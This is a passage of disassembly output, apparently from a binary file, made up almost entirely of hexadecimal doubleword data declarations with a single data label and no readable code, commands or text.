		dd 895203B0h, 765F47D4h, 2091C92Fh, 0A27C7EB0h,	2CC407BAh
		dd 9CE2B5h, 718A6F39h, 15873607h, 0C4C0BC7Dh, 0A277F747h
		dd 407220h, 13A0AF6Ah, 1CAC6EBCh, 0E0E6382Eh, 1121BB18h
		dd 827630h, 0A304E4F2h,	7F610C0Dh, 1CE1FA00h, 0CFDA86D3h
		dd 13CE0041h, 0B6B43497h, 4C258EE4h, 8C6CA038h,	2640DCAh
		dd 0A4FF931Ah, 8883DB37h, 2298B75Ah, 7300876Fh,	0F8F48876h
		dd 7439B2B6h, 0B9098C0h, 81A95D65h, 735FE600h, 0F1C08C6h
		dd 3801909Ch, 0EDCF8623h
		dd 0E83430h, 0FEFB98BFh, 1DBE1B9h, 0F929C404h, 38E0DCA1h
		dd 97A4B1DEh, 680C3011h, 438C679h, 180758DEh, 43E24D56h
		dd 0B9AB0126h, 80329D65h, 6432E8h, 44114EAh, 3B6E2EDh
		dd 33723F1h, 0F9F8C61Fh, 0A10E8608h, 0E0A72D51h, 3D3CDBFEh
		dd 9F7A152Eh, 2C3DDCD4h, 1E822080h, 0A8A15FADh,	0DD053206h
		dd 72D0D1EFh, 40EC12CDh, 0F6780C7Bh, 88943A79h,	9E0B2E40h
		dd 24303B0Fh, 0EA06800h, 4DB2AAE9h, 0A9F27CB8h,	56609804h
		dd 0A0974C8Dh, 3C907F45h, 2E063EA4h, 13DE8EAAh,	0D60AAA98h
		dd 520C3499h, 48405Ch, 189747B4h, 0C88CF9C1h, 0CC24B676h
		dd 7B1E84E8h, 58672643h, 6188E8DDh, 7CA40C38h, 5049BE90h
		dd 92A07A00h, 4A0A4E59h, 23EC06h, 3243B4Ch, 0B4B6C649h
		dd 6A6E2E00h, 348B1FA5h, 8C945C0Ah, 0BB99A680h,	3D00C151h
		dd 0D1F4D561h, 48A82F37h, 13000C08h, 0F98408Eh,	0F4A061C6h
		dd 5088CCD1h, 0B15E03ABh, 60701FB4h, 8B8F7EA8h,	20905325h
		dd 69CE9A8Ch, 42EA1D4Bh, 0CD40F2C2h, 0ECA85B21h, 93F8C60h
		dd 75469FC7h, 0CB3B8098h, 509E88h, 0A9D2A60Fh, 0A04E6A75h
		dd 0F3F2F90Fh, 718141Ch, 0A5035CAh, 5E559460h, 5CB10BF2h
		dd 0EC6EDAF1h, 0EB3C7C1Fh, 863D07CBh, 2695EEFh,	61DA80D0h
		dd 7C7299E3h, 0CA24CB00h, 0F752F682h, 515F053h,	46178D6Fh
		dd 7778C862h, 5852424Fh, 0E601A0A2h, 84F7443Dh,	0CFABE443h
		dd 4EB81002h, 46418CD1h, 593100E0h, 9907E6AEh, 9D0C7E1Ah
		dd 0D902BC5Fh, 101B0483h, 804E40A7h, 7B0DC2E4h,	0BF68DF16h
		dd 14CFE430h, 42FAEAh, 5FDB7530h, 39EEF13Dh, 9FB9F418h
		dd 11D9B2F0h, 1CA3B98h,	0FA33D223h, 0E8304C1Fh,	4AF490A9h
		dd 51B88842h, 0DEA01801h, 0DFE45AF1h, 5F138880h, 7C09CCABh
		dd 892A860Fh, 0A8978A4Eh, 0DBDC7701h, 0B82D91C6h, 7249E200h
		dd 51B4BFC7h, 2E3D2175h, 1F173896h, 0AD0459F7h,	78B06D4Ah
		dd 0E18C0A32h, 60D8B1F0h, 77473DFEh, 40C34D2Eh,	44588C28h
		dd 7D83C030h, 0FE4272h,	363115C4h, 608DC330h, 24B4E32Ah
		dd 3FF1F716h, 91CE0803h, 4E191CC5h, 0D1F50044h,	7C7A775Dh
		dd 9915811Dh, 80220F0Fh, 205FFC28h, 6FFD007Dh, 0B85A8FC0h
		dd 1D160198h, 14209F54h, 3AF1AD2Ch, 9509E05Eh, 1C713896h
		dd 2EF99800h, 0EB50309h, 0C9EEF6BCh, 0CDCCC784h, 0B168F898h
		dd 20596624h, 0E9CD1E00h, 1A5AEA9h, 3F225ED5h, 2031BC20h
		dd 4760687Ch, 0A625E708h, 0FBCC02A1h, 3D044697h, 4101A8E6h
		dd 0DABC0BD1h, 18AC19BDh, 8CDB6000h, 88007FDCh,	0BAC05FFAh
		dd 4B95F3EAh, 0F714CCA3h, 1727CF0Eh, 6CE20B2h, 0D77423h
		dd 0B84CBD0Eh, 802DAE9Dh, 0DA310318h, 182C1FD8h, 718E3889h
		dd 993C6BE3h, 71180B0h,	4466D364h, 455D009Fh, 0F936E663h
		dd 0F52F6AB1h, 3C741096h, 79F400B9h, 8D758EEFh,	0A8F6B0D9h
		dd 98340B04h, 80C2D565h, 151E2027h, 4700BA21h, 315F078Fh
		dd 90C7A7FDh, 2B75041Ch, 88E896EDh, 86008D68h, 0AA818E9Eh
		dd 9B28263h, 21046A09h,	0A0E5E087h, 192603FFh, 384AA57Bh
		dd 0FAD21040h, 59EE02h,	57B13E10h, 0F8C3459Fh, 209D1209h
		dd 0D9D804CCh, 0C1785F41h, 0F106F58Bh, 8008284Ch, 7D1BA848h
		dd 6B6309B1h, 7C03952Dh, 1A04BE81h, 0CD764105h,	511224D0h
		dd 0BA4C0037h, 94487E0Fh, 129DC991h, 0ADFF8058h, 1216D1D9h
		dd 903BED93h, 7FABEA7Ch, 823A4438h, 55346388h, 40519Bh
		dd 50752F15h, 72162D5Dh, 88058C5Bh, 32C13906h, 4560BF6Ah
		dd 63D8130Ch, 536830D3h, 9F3ACB4Ah, 351D00CDh, 60EEA112h
		dd 0BD4894D6h, 1FDBE000h, 9D6D7B6Ch, 3088A24Bh,	2F2A001Eh
		dd 22E6CB41h, 0A67F66DEh, 0E4215424h, 7F0060A2h, 286E301Dh
		dd 0B33CD8h, 0C8034ABBh, 5A0C0456h, 6B0068B8h, 0E74E29ABh
		dd 0A09E283Ch, 4481EE0h, 4D30DAAFh, 0F35CE476h,	32D3D400h
		dd 0DC247964h, 0FEAB3EBDh, 0E0B9B185h, 1C94B095h, 29143E00h
		dd 919DD3B3h, 0F0EC92C1h, 609A07BFh, 0B0B1F707h, 0FE444311h
		dd 0D55C6674h, 0B6368058h, 383BE7A6h, 0F2026E3Dh, 492F9933h
		dd 2DF55861h, 64B309F0h, 4130E83Bh, 16A000E3h, 6204FBF1h
		dd 2E001EF5h, 0B1A6E82Dh, 87B860h, 98B9DC09h, 9046DB6Ch
		dd 0AE80FCB4h, 3E403959h, 3F121C0Bh, 4FE3DDA0h,	5A247FFBh
		dd 0A2ED85D6h, 0FEA40048h, 4CA26E62h, 86F823BEh, 9B52C00h
		dd 13DC98h, 9C847477h, 21085E4h, 797C12Fh, 459B2D4h, 46C1C6F4h
		dd 0C9A5FF58h, 7A007C66h, 2FCBE110h, 1F46E9CAh,	0E60599B1h
		dd 821C1FBCh, 3229E5B7h, 2887F851h, 0BFF23D4Ch,	9BC5498h
		dd 0E08F2519h, 0E0ACD528h, 469C3429h, 840505Ch,	0D728453Eh
		dd 0A14D72BBh, 12103448h, 2F078785h, 0B9C8AC0Bh, 4C703BE6h
		dd 3E17B942h, 7734C88Bh, 0D1023500h, 55DE09ACh,	0DF9D486Fh
		dd 82CC761Fh, 0F84806A4h, 4A03E054h, 0B82C4D5Eh, 97382CEh
		dd 0D625A2E5h, 0E0DD3492h, 1609BCC0h, 0E96D2h, 43051B9Ch
		dd 0A93C6377h, 93605876h, 8FE8BCC9h, 7F305F8h, 0A266D97Dh
		dd 0C4DB0014h, 10842ECCh, 0CD6D0F26h, 0D720AF5Eh, 0A261E0F0h
		dd 14E8A824h, 8D5D7903h, 0E4889899h, 4480B4BAh,	0D520304Dh
		dd 0C3DB0182h, 0B3A5F651h, 996480F8h, 0BA10C18Bh, 0C03400DDh
		dd 64F4D042h, 0D10B0698h, 98FE8EF0h, 947F5Ch, 74D2873Bh
		dd 8A9B6580h, 841CE07h,	0B82037C2h, 5BD14799h, 0A8D440D7h
		dd 92254D0Fh, 12001EF8h, 75189FAEh, 5E641098h, 0F136B0A5h
		dd 855CBC48h, 1DC0B17Eh, 0EB29627h, 94A3FF48h, 1E0364A3h
		dd 8FDBBCD8h, 0D94070B1h, 7CCC1F4Ah, 0B9FA0067h, 189966B2h
		dd 0FC01919Ch, 33B71E41h, 0EC4132F5h, 0A8299F49h, 21E68400h
		dd 2635CCD3h, 7E1BC100h, 0F60C3140h, 17BF730Eh,	0C8BEF192h
		dd 0CF4BFE8Ch, 3F80F824h, 0BFEC81EBh, 0AD5BF840h, 0D03CCA0h
		dd 30BE9FEEh, 0F1E5680h, 7C9239EAh, 9C209D40h, 0BC555464h
		dd 5C193E00h, 7B9D9997h, 1320744Bh, 25EB152h, 3E0A4858h
		dd 2E40A076h, 0EACDDDh,	331BFFAEh, 0CE7EA57Ah, 41EDAA07h
		dd 8A0098A9h, 0C0BC90A3h, 0B6F63469h, 0F03C626h, 5B073CA7h
		dd 1AE0989Bh, 4030BE7Ah, 51140921h, 9A93AA07h, 9710E8ACh
		dd 18677DBh, 8D9843DFh,	0C4298EB4h, 734B34F7h, 0C30C0D1h
		dd 0E53EECh, 0DD90AEC7h, 0EAC66777h, 362D6902h,	90BDF19Eh
		dd 9198C88h, 962CB5F7h,	0DC001859h, 0FDF46EC2h,	45A158D6h
		dd 0F0088C05h, 0E510B5F6h, 0A8EAE7B1h, 0FB0AE077h, 8FA40467h
		dd 0C85D47FAh, 20959170h, 7BF7E540h, 3A557A7Eh,	0C997573Fh
		dd 0CE448894h, 0C6785100h, 0D1B4F00Ch, 956301E7h, 5206A7EFh
		dd 2FE1D01Eh, 0C473042Ch, 4E8DA940h, 4CD871C4h,	1C129042h
		dd 3AA8B2A3h, 43580067h, 377FB9D4h, 9B8E0088h, 8704FB6h
		dd 741CC9FDh, 0A89D086h, 0B53083F4h, 0B7DAB0BEh, 7BDBF21Ah
		dd 3118C01Ch, 6147E1BDh, 0B6895896h, 96806876h,	0A09500FAh
		dd 918C69C3h, 2F61F21h,	77C55B12h, 82DFDCA2h, 0D25A2140h
		dd 70A97360h, 836C2427h, 4F4FBCC0h, 940D858h, 0AB00C87Ah
		dd 0CB02E153h, 3F94687Fh, 0F5841131h, 0A81B78BEh, 766180D4h
		dd 0E8E56C15h, 24A09FAAh, 0A71F2EFCh, 98AB8902h, 40078E64h
		dd 20F36C4h, 6F0BADA0h,	84D13C75h, 0D8DB640h, 0C93F0156h
		dd 0A92EBAC6h, 0D7C0C3EEh, 9978DE55h, 81DA5312h, 17623CA0h
		dd 30C6BC34h
		dd 48BF7DCCh, 0A82BEF00h, 50801A3Eh, 94CB0DAh, 91819EB8h
		dd 0C2820EBh, 2A03D86Bh, 0FEF940B3h, 0C843B7C2h, 3DA3B071h
		dd 278F0244h, 0A77731DAh, 462F6052h, 87E4A05Dh,	0BC0657Fh
		dd 0E54EBC31h, 103E00E9h, 0B87EA366h, 0E7E300FDh, 13ABE953h
		dd 437DB3D4h, 2772571Eh, 0C003B116h, 0A010D539h, 12DEEB16h
		dd 90D7BCF3h, 0DC514F8h, 0CBC05402h, 0F1A3ED33h, 580584ECh
		dd 3A0CA973h, 8480217h,	729110BBh, 0ADD40020h, 7ADC7B09h
		dd 32006BB7h, 4C56900Ch, 9475D188h, 6A804ED0h, 5462999Bh
		dd 2C016C79h, 9D86AFCBh, 0E822BFF1h, 38A75851h,	0A8966400h
		dd 209DD631h, 50DB7350h, 0AC5A0397h, 6684F063h,	7E10F490h
		dd 7C133874h, 18B6189Eh, 650D600h, 0AA54AE94h, 9F788872h
		dd 5177AD00h, 0BE60EEF8h, 5C9991h, 0D2C2A450h, 0E5032193h
		dd 0AB087517h, 189BE0B2h, 14700083h, 24CBA0A7h,	0EE4BF9B5h
		dd 0BB9F7C20h, 575F24B4h, 0D4BAC0B0h, 0EC0ED84Eh, 401D649Bh
		dd 0CBD33DAAh, 806499F0h, 0F2542CA3h, 0B10961FFh, 683B6A2Fh
		dd 0C6AC88h, 1EF1ED64h,	7EC3BE56h, 0B7390B0Eh, 0B298818Dh
		dd 5070B08Eh, 84B14D2Eh, 0BD585E80h, 0DCE5A093h, 74018735h
		dd 0E3DDB61Ah, 5070E44Dh, 0BFF02F3Eh, 0FB3B9C91h, 0E597900h
		dd 9BD25F6Dh, 901B0116h, 67EF8C95h, 73086292h, 9DF34900h
		dd 59B826FCh, 0D73E001Ah, 2086026Bh, 3B4877A1h,	9A0A80C4h
		dd 7A9227EEh, 0E12505C2h, 0A680CFF6h, 0C0D900A0h, 91C4999Fh
		dd 0B303132Ah, 0AE9B01ACh, 6098E4A8h, 424F40ECh, 9D002C87h
		dd 91286AAh, 55757CA0h,	8076A092h, 510B9740h, 482002E2h
		dd 6C2C50DEh, 0AF5FF760h, 838F3CB1h, 186BE092h,	711B9AB1h
		dd 0F7250030h, 0B2EB8D21h, 79014A87h, 0A6E94593h, 20723898h
		dd 0FA813C00h, 0B8215AD1h, 8B157200h, 0CAFFBBDCh, 38D4A89h
		dd 0E414E684h, 0F8EB1AA0h, 0F699A609h, 76ECC27Eh, 9E803F98h
		dd 0FA5968B0h, 0C02E2A3h, 6F08C2EAh, 8CD29Fh, 6DB98D17h
		dd 9260F788h, 0B3001273h, 8B73F541h, 908E7999h,	8154858h
		dd 63D7B0Eh, 4D23620Fh,	13C2F918h, 0A62E2466h, 0E205CD0Eh
		dd 0F1002128h, 0B4AFC63Ah, 0E6B100F3h, 3658C88Eh, 9938CD1Eh
		dd 60980067h, 0B5842E07h, 8080B1A4h, 0C7B012F0h, 22028F2Ch
		dd 361E1340h, 0E459E1h,	6B0E42E5h, 5D0333C9h, 8EF0DD73h
		dd 0D1A5CBFBh, 0A2E64DBCh, 0DEA4D8C4h, 0A646092Ch, 6611B878h
		dd 7707E33Bh, 0D0921043h, 59FC61C8h, 0B8DC8F00h, 9D14B28Ch
		dd 0D622075Fh, 0B0293290h, 8F96457Fh, 614A4630h, 0B86FB4D0h
		dd 0B57388h, 6DB2AA29h,	8B10D30Bh, 76920102h, 0C4D63DA4h
		dd 53BE0060h, 3210C8BDh, 9A00C155h, 27F06AC9h, 18069AEh
		dd 15B10114h, 3A3BEA0Eh, 435E0C40h, 0FBB211h, 60B3A81h
		dd 0F00240A4h, 97DCB35Ch, 7EBC88h, 90FF7537h, 69DA88BBh
		dd 6CB14805h, 78A9D76Bh, 80CFB81Eh, 0BBA3FD32h,	0A000051Dh
		dd 4B2B913h, 71B7499h, 2B5B36CDh, 60180BBCh, 0CE141D9Dh
		dd 22B4C4ADh, 29AF8DEh,	36938A37h, 0D8C62D9Bh, 0F75E0701h
		dd 0B9223D2h, 6917F02Ah, 0F1A43600h, 0C5C7677Bh, 994A38B6h
		dd 98B98501h, 701B6E15h, 808B5118h, 0FE45E61Ch,	4038B687h
		dd 2136DEB4h, 81424E3Ah, 0D6D25957h, 0B7F0AB75h, 15CB0B18h
		dd 0A8139417h, 541BBD98h, 91367117h, 5D400000h,	18474Eh
		dd 7CA307FCh, 469FEE7Dh, 643BF727h, 0F300B04h, 0F4008D92h
		dd 64F3A534h, 209D1098h, 0EFBDFD68h, 8850917h, 342BEB7Ch
		dd 8B310C00h, 5F2F0BCBh, 7154028Dh, 12507EB5h, 7D1C0212h
		dd 6041DA60h, 2789019h,	0BE8916CFh, 1E4C40C4h, 0D18A79B0h
		dd 0DECF0040h, 501A7718h, 22330800h, 1C1F920h, 0FA2F3DD6h
		dd 1C64A7ADh, 0CB61C885h, 602FDCEBh, 8C06B758h,	76336B14h
		dd 7C64017Ch, 0C28A7A47h, 4C397839h, 49311184h,	0A7ABC056h
		dd 271C037Ah, 0CE006638h, 5182FADEh, 2248A09Fh,	7A86007Ch
		dd 95FF3FA3h, 9A0732ACh, 9F4BAE19h, 7E918220h, 80709101h
		dd 2770644h, 0C301D2D7h, 4F0F3C3Bh, 882108A7h, 840BB869h
		dd 4482C8DAh, 1820CA03h, 4CE75C05h, 0EA00447Bh,	353DFD7Ch
		dd 3E00490Fh, 6BE19DAh,	56B703h, 0A4D03FCEh, 86F0AEEBh
		dd 7ED86950h, 0F1959109h, 800064F7h, 0F4F947E8h, 519B1D67h
		dd 25390B5Bh, 0CE7A3C80h, 0F3001C31h, 86E48556h, 18C9DA66h
		dd 0D149BB1Ah, 4F7D4E83h, 0C5156017h, 0C1B89C14h, 9DDBC77Ah
		dd 2ECB6430h, 2864A00Ch, 60666318h, 5FA3EB23h, 1AD03102h
		dd 5EC160EDh, 8DAD87D0h, 0A36397C9h, 6CB8E950h,	0B9027823h
		dd 76A94FDAh, 400479A8h, 30BD1ADDh, 9FE67100h, 0EAD18B1h
		dd 54B13Bh, 30E0FDEBh, 3D002EB5h, 9F77F558h, 93A2E5h, 1FA16760h
		dd 0B8E19AA5h, 6573CCE3h, 5C4D74Ch, 7D810D02h, 34C0C044h
		dd 7826D0C0h, 7B112E8h,	0B760A0A6h, 5F9EC21Ch, 268D1480h
		dd 2E368C2Ah, 4D32FCh, 10CE2708h, 5100A3EDh, 0B083B9A9h
		dd 0B9F6F022h, 5DA60084h, 89AF41Eh, 7047549Ch, 0E4D80039h
		dd 76CEC3h, 32CBB5B4h, 5DCB0A7h, 30A89A32h, 0B4002B34h
		dd 0A9A7B98Fh, 0B185F500h, 45079FCBh, 77A617E2h, 1014F0AFh
		dd 0D3DCCB0h, 6CF18308h, 0C003E2C1h, 733EA80Ch,	68EB2C4Eh
		dd 44C28AEh, 3C50B8E0h,	0BA28E4D7h, 139010B7h, 3FCB2C07h
		dd 90BF130Ch, 31DBF9F4h, 11D39130h, 5181A2Fh, 0D89B906Ch
		dd 0BA4167Bh, 1C184B6Eh, 0E839A326h, 0B6ED0013h, 0A1427A43h
		dd 0C4B10D70h, 96C09A9Fh, 5800E858h, 399865Bh, 403CBC2Ch
		dd 1CAFAD1Eh, 0E2675200h, 23B66FC2h, 0AC2448DEh, 7A39CD22h
		dd 0DDA89A1h, 0FE84022Ah, 3B6CECEEh, 51BEC602h,	0FFC84D00h
		dd 0BF6B25BEh, 58FC6200h, 7798222Ah, 3D040214h,	99E12E52h
		dd 57806CC5h, 3BB3B5EFh, 0D1662CFBh, 4F79001Ch,	0D664144Dh
		dd 98955E00h, 8ACCE405h, 40394EF4h, 87DF7F04h, 84995E67h
		dd 0C6F16E80h, 96461Ah,	98BAE67Ah, 0AA04B38Fh, 0EFCD8000h
		dd 0B8B00E87h, 9EB10FA3h, 27C26B22h, 0BCD64FBCh, 0E21F8041h
		dd 3103FC60h, 0D0F10446h, 83D038B6h, 0C81FC132h, 5FCFAC35h
		dd 0A94C88EBh, 990C570h, 0AF783171h, 582FF000h,	422981B8h
		dd 81A74FBDh, 3E1FB7C0h, 0D0150C20h, 0AA3F0248h, 6741B2DCh
		dd 34BFA840h, 0E023F15Eh, 6440C78Bh, 0B5CA09Eh,	2AF9E80Bh
		dd 7400C4F1h, 483D0D9Bh, 8BA90015h, 881F0FC7h, 137A1099h
		dd 8E7F8004h, 8C0F6B98h, 7400C769h, 0CB219D31h,	77E03C09h
		dd 9EECC8CEh, 230B9E8h,	0A46566AAh, 1969DBC0h, 5BA5E11Ch
		dd 2808A797h, 4A0589CDh, 4DD4A001h, 0BAB7C8EBh,	0B2F81460h
		dd 0E8A93710h, 0B40945Bh, 481858BCh, 2E05ED91h,	4EBB1F4Fh
		dd 87E008B5h, 9A27D06h,	0C76A84EAh, 0A300C864h,	33D1DF58h
		dd 2CBC0DA5h, 389E2729h, 5CE54280h, 1F2F779Ch, 3E248C00h
		dd 17906D99h, 3DD50134h, 61898A9h, 3A986104h, 0D4C09834h
		dd 2787A908h, 8C44F00Bh, 2820D600h, 0B8703FE2h,	0A84901DCh
		dd 772BA713h, 630876Ah,	0A347AA05h, 64200059h, 32AB80FDh
		dd 10108277h, 91055C70h, 0BB980B40h, 6E879381h,	2D3BE4F0h
		dd 0D4446A33h, 0FDCC0C04h, 0E880BF52h, 12A510E1h, 919F54D3h
		dd 0EC7797ACh, 0BD030328h, 55903518h, 0D41685ECh, 736CC8h
		dd 5DC84E63h, 40A13A09h, 0A746EC3Bh, 1110C439h,	6CD60Ah
		dd 5169ECEAh
		dd 10EA3C4h, 0A024BBAEh, 0C8CA100Ah, 6F5A70D1h,	45DC88h
		dd 84B5A2B8h, 0D32361FBh, 3EBDE900h, 3FAA1C73h,	6890956Fh
		dd 2E016451h, 421A8A4h,	0AC72BE8Dh, 6957C802h, 90E1BB7Ch
		dd 0A4B215C9h, 1E8B9407h, 48B5A0D5h, 900571AAh,	190A8A3Fh
		dd 4E969080h, 73FA8Fh, 0DAECC3B5h, 0FC9B4118h, 0B0B120B8h
		dd 74F44025h, 1F514473h, 9B11E807h, 0EE10A0F3h,	0B190724Dh
		dd 0A6920238h, 0DC51FEDBh, 0C84FB080h, 0D2AB29h, 0E4AEFB47h
		dd 6D5A9F92h, 5088ED4Eh, 44A90071h, 952D7665h, 0C700E551h
		dd 8FEC3037h, 1222479Ah, 529D2ADDh, 0F0203014h,	0EB006776h
		dd 6F8B218Ch, 7CCEA177h, 1CB259C5h, 5CDC689Eh, 130064EBh
		dd 792072FDh, 4B015F85h, 0F86F3C2Fh, 0D931298Dh, 89C4172Bh
		dd 0E01631DCh, 30020559h, 0C58C1E6Fh, 0E4D944h,	0F5FE8003h
		dd 4C0221B0h, 7695106Eh, 62F4E050h, 0C824A39Fh,	6B122C9h
		dd 0A1A749F2h, 1095A8EEh, 27724BA4h, 0A8EE0CA6h, 0B9003490h
		dd 0F96B71Fh, 1F39A82Ch, 1311B160h, 0C7382027h,	0B6008546h
		dd 0FD0E1FE8h, 2358EF8h, 0B1EC7404h, 0C181FAB4h, 631243C0h
		dd 75E5004Ch, 0C4D9F5ADh, 0B7F206h, 69FCB121h, 2B4DB9B8h
		dd 9940ACBCh, 78E4E665h, 72760Ah, 1FBFB15Ah, 6A627CDh
		dd 25F3EE17h, 0A47D7C01h, 6C404176h, 9475E08h, 6D5078F8h
		dd 2504A044h, 0F9929F44h, 3103B4F2h, 34D1C7E9h,	0F0036799h
		dd 0D0B928CBh, 2CB98D18h, 66253C5Ah, 14F5B90Eh,	7793E720h
		dd 3F799BF4h, 3F19FF3Eh, 644E256Bh, 418F01D8h, 569070F6h
		dd 0BAE1ECB8h, 0B3732806h, 81B4E4h, 0B2B1843Ah,	5F6A017Ah
		dd 7C382238h, 0D4D7D327h, 8CE52D96h, 0A48892C4h, 6785006Dh
		dd 1621569Ah, 300AFCCh,	0BA5BD4C6h, 417848Ch, 0FE99B89Dh
		dd 0CE5FC095h, 0E0597FAh, 0B5F06DF8h, 0C90574F3h, 0C278A5F9h
		dd 8425F28Ch, 90CC8C8Dh, 9F3D0131h, 4406D8B7h, 5669C07Dh
		dd 486982Fh, 28B8632Ch,	85A2ED80h, 0CEEC2E57h, 0CB903E38h
		dd 644CCD0h, 0E691006Dh, 0ACFDCBE2h, 7A006765h,	5E4D7C8Fh
		dd 294E69F9h, 88762Ah, 0B95EDCEh, 6A3925F1h, 0AC030F02h
		dd 0A2C9DD77h, 0A8498B1h, 79950022h, 0E2761733h, 0D803E99Bh
		dd 0E3AD8AC8h, 3CACCC98h, 86F106C1h, 0BD71C463h, 0BE311F02h
		dd 0E1DAEBF9h, 0D0400594h, 61F16Fh, 0BCA6F871h,	66D450B1h
		dd 158EF001h, 75135C96h, 8300A03Dh, 0DA9DDBBAh,	0EC168D36h
		dd 2420C2B6h, 5CB42A15h, 0D511F019h, 485F03D9h,	0C89B3418h
		dd 2DBF051h, 270391DEh,	50D473DAh, 3094CD80h, 3173116h
		dd 8229D53Ch, 64F9B96Bh, 8F19E86Dh, 4C82F48h, 0D58C2A08h
		dd 83BD28C3h, 4125A818h, 456900ABh, 68356143h, 8C075EEh
		dd 149A5985h, 501C078Bh, 0F0BEC644h, 6EE6F429h,	3AC8080Ch
		dd 612834h, 0F7772E45h,	97793970h, 18D1CF30h, 2C0335h
		dd 90D62F95h, 0DB5069AAh, 4DC369C7h, 2845F33h, 0A0397711h
		dd 9920D673h, 0C1DAB4h,	0AFD814ACh, 0D1B79B0Eh,	2489CC3Fh
		dd 0DF00584Bh, 682691F3h, 60855050h, 0DB5640ACh, 90D4000h
		dd 9E22B0DDh, 17BA06A7h, 0B9675B63h, 5024300h, 0F7D8A679h
		dd 0C31100C2h, 0CE8BBFCFh, 9E0A6C06h, 80A78FE7h, 0D640F403h
		dd 86919EFh, 10C4E8A5h,	4D0B9Bh, 0FA65C0D6h, 0FF074778h
		dd 5762E7Bh, 6F6D500h, 0C8628C4Dh, 8A10070h, 2CDE2ABh
		dd 491EE935h, 0CA01A62Eh, 2AE3C8CFh, 0F155A180h, 39EC4E3Ch
		dd 0CC62062Ah, 29698200h, 1596E2F0h, 0B981006Ch, 194C0526h
		dd 822EA52Eh, 0E00101D7h, 68EEE68Bh, 7A0039BAh,	66D39B05h
		dd 8318532Ah, 18C1C7CFh, 6A1E000Fh, 0CAED7AA1h,	3800FC64h
		dd 7FA6191Ah, 18FA7716h, 31E2CF4Fh, 8D07099Dh, 72F024B7h
		dd 0FDAD5DA0h, 4CBB011Dh, 0D8296B80h, 9F644059h, 3F00F0CDh
		dd 7F2C7DA0h, 1635762h,	4C7BD076h, 4C15BE6Ah, 7E0038DCh
		dd 0C3DFEA8Ah, 69AF6h, 70DC82EFh, 64A80F19h, 0E7522E98h
		dd 0B122F8h, 0F0D8E21h,	22E9B7BFh, 7264C900h, 4850B66Bh
		dd 0D67B018Ah, 99352082h, 9D343023h, 0DD2BD400h, 7815EA50h
		dd 4939153Eh, 2C009874h, 1C770837h, 0ED307D67h,	0E932694Fh
		dd 0A0590088h, 0A3D449EAh, 2C4ECC4Ch, 0C5099E8h, 880B48BEh
		dd 42849602h, 84AF305Ah, 117C4680h, 0D73D9CDEh,	6919E059h
		dd 9FD0A7h, 0A32166AAh,	0E75A4BF9h, 22AF2900h, 52062E5h
		dd 0F66F0109h, 70496E33h, 0F4805042h, 0B918E775h, 5C5497FCh
		dd 45BF03B5h, 89D94F83h, 0BAF7E804h, 6480DF5Ah,	44B040FEh
		dd 380039DDh, 6F284F73h, 73412D3Ch, 839E061Bh, 0A157F6C8h
		dd 11F89D48h, 550C5D2Ch, 7081D472h, 0F9CD1407h,	4280E983h
		dd 10ABB9Fh, 3FFC166h, 0C0DC1231h, 6091C238h, 6808F792h
		dd 53BD8063h, 0DC881844h, 970C4300h, 580696ADh,	5F9FA21h
		dd 0C0399EC6h, 59C04685h, 9500892Eh, 6BF9C362h,	53BF9Eh
		dd 0D738F6BAh, 39C81454h, 0CD293D63h, 86F100ECh, 99160D2Dh
		dd 0EA006EB5h, 1277F025h, 120FC250h, 59DF2E1h, 0A4C39D8h
		dd 29C8958h, 0DFB54117h, 90744E20h, 0C8030CD3h,	4F6933F5h
		dd 828EEA02h, 0AEEB7350h, 1D31C090h, 13E84Dh, 226DB14Ah
		dd 9CC95D82h, 0A3E35F1Eh, 59C5CB0Dh, 388EFCh, 415EE217h
		dd 0FA63D349h, 2883BF24h, 0AB05D500h, 0DCD6CF81h, 763A4031h
		dd 979CE295h, 1459DC09h, 16680383h, 1590000Dh, 0A04191F5h
		dd 0DC4DAA40h, 13C49060h, 0EC00B030h, 7341F218h, 51B9C0C8h
		dd 75F8E8F1h, 0CA1F6D12h, 0FF8CAB00h, 24054D93h, 1388F22h
		dd 69E3B39Dh, 1EEC325Fh, 942CC530h, 3BC81130h, 0CE90A980h
		dd 0D6002032h, 0F865DB54h, 0B91F5328h, 0BF03158Dh, 0B893E36Ah
		dd 3040BD49h, 74316BB4h, 38097906h, 80927133h, 0B041C580h
		dd 4521C0D2h, 68AD40EFh, 0CA7F70A8h, 3DA0F904h,	988873F6h
		dd 0F567B4Eh, 418292BFh, 0C60A6520h, 40008FC1h,	2CABADD9h
		dd 615C4h, 5201360Bh, 8B86D741h, 0CB291B00h, 0B58A8D3Dh
		dd 0E4887C79h, 0D63F0778h, 5F259CA2h, 0A9E33C60h, 5922A8A0h
		dd 6A970030h, 0B1E0DE95h, 2D615A5Ch, 7BB70C19h,	97EBD4h
		dd 0C9E1F7FBh, 0A0ADD09Eh, 74D1F226h, 600D711h,	91550D02h
		dd 0D069CF8Fh, 1E3C00E9h, 2286CA31h, 0CE00274Dh, 0DE888958h
		dd 1818F51Fh, 49C970E0h, 671E74B2h, 0C2407C6Eh,	8085349Fh
		dd 44053D1Dh, 273E2E80h, 97BC5CD5h, 9F6DD3Eh, 98DE6DE2h
		dd 0F219AD0h, 0C8456FA1h, 0AAF55162h, 2B2CFB41h, 0CFE1B700h
		dd 66599EB6h, 32ECE932h, 80E2200h, 29F78AA6h, 8CBE31DAh
		dd 357658h, 0B6BC2ADh, 45905267h, 12B0B805h, 81CC6174h
		dd 0CFC8D8F7h, 0C0BC3048h, 3989EE1Eh, 0A9B265CEh, 5CB42059h
		dd 0A9002436h, 0BFFDD46Dh, 24980926h, 1ACE140h,	0FE640270h
		dd 0B558405Ah, 0F60931AFh, 0A0CD730Dh, 0EC7B9604h, 0BEC2022Bh
		dd 0E2C86419h, 45FE4464h, 5F806CB9h, 0CE12EB55h, 0A6202642h
		dd 3DF1005Eh, 2FF6B32Eh, 402CAF01h, 0FC6F8EDDh,	13D21CF4h
		dd 0DC3426h, 93701634h,	824C69CEh, 17050384h, 0D5737Bh
		dd 182DAB61h, 0E4E05BAEh, 9E42E500h, 0CB061976h, 3EB102FBh
		dd 0CA89154Ah, 14EF9041h, 8C712040h, 127DB3F8h,	0EF57F3B1h
		dd 31C06D00h, 5929F6Bh,	2D362905h, 0E0E08D94h, 7300B386h
		dd 78771AC4h, 6FB9Fh, 9C09F38Dh, 13EBF689h, 3B29E01h, 3BCEF245h
		dd 528B7980h
dword_580994	dd 0D608ED24h, 87CD5100h, 9DB3D02Eh, 0EA701E1h,	0F7898F62h
